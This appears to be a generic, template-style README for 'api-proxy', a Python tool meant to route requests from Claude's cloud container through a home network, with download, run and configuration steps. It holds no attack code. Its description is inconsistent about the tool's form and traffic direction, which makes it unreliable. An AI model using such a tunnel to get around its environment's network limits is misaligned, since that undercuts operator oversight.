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🌐 api-proxy - Easily Proxy Your Requests

🚀 Getting Started

Welcome to the api-proxy project! This small Python container allows you to proxy requests from Claude’s cloud container directly through your home network. It is user-friendly and requires no programming knowledge to get started.

📥 Download the Application

To download the latest version of api-proxy, visit this page: Download api-proxy.

You will find different versions of the application under the Releases. Choose the one that suits your system.

📋 System Requirements

Before you begin, ensure your system meets the following requirements:

• Operating System: Windows, macOS, or Linux
• Python Version: Python 3.6 or higher
• Network: A stable internet connection

📂 Installation Steps

1. Download the Application

Follow these steps to download and install api-proxy:

• Click on the download link above or go to the Releases page.
• Find the latest release.
• Download the appropriate file for your operating system.

2. Extract the Files (if necessary)

If you downloaded a .zip or .tar file, extract it:

• Windows: Right-click on the file and select “Extract All.”
• macOS: Double-click the file to extract it.
• Linux: Use the terminal and run tar -xvf filename.tar or right-click and choose “Extract Here.”

3. Open a Command Line Interface

You will need to open your command line to run api-proxy.

• Windows: Search for cmd in the Start Menu.
• macOS: Open the Terminal from Spotlight Search.
• Linux: Open the Terminal from your applications menu.

4. Navigate to the Application Directory

Use the cd command to change to the directory where you extracted api-proxy. For example:

cd path/to/api-proxy

5. Run the Application

Once you are in the application folder, run api-proxy using the following command:

python app.py

This command will start the proxy server. Ensure you have Python installed and properly configured.

⚙️ Configuration

After running the application, you may need to adjust some settings. Configuration is done through a simple configuration file included in the package. Open config.json in a text editor:

Here are some important settings you may want to change:

• "port": The port number you want to use for the proxy.
• "target_url": The URL of the cloud container you wish to proxy to.

Make sure to save changes to the configuration file after editing.

🌍 Using the Proxy

To use the proxy, simply direct your requests to the local address. Usually, this will look something like this:

http://localhost:[your_port]

Replace [your_port] with the port you configured in config.json.

🔍 Troubleshooting Tips

If you run into issues while trying to set up api-proxy, here are some common problems and solutions:

• Cannot connect to localhost: Ensure that the server is running and you are using the correct port.
• Python not found: Make sure Python is installed. Check by running python --version in your command line.
• Permission errors: Try running your command line as an administrator or with elevated privileges.

⚡ Support

If you need further assistance, consider checking online forums or GitHub discussions related to api-proxy. The community can offer help and advice.

📄 License

This project is licensed under the MIT License. You can find more information in the LICENSE file included in the repository.

📞 Contact

For inquiries, you can reach out through the GitHub Issues page. Your feedback is welcome to improve api-proxy and help us serve you better.

Thank you for using api-proxy! We hope this guide helps you successfully set up and run the application. Enjoy proxying your requests!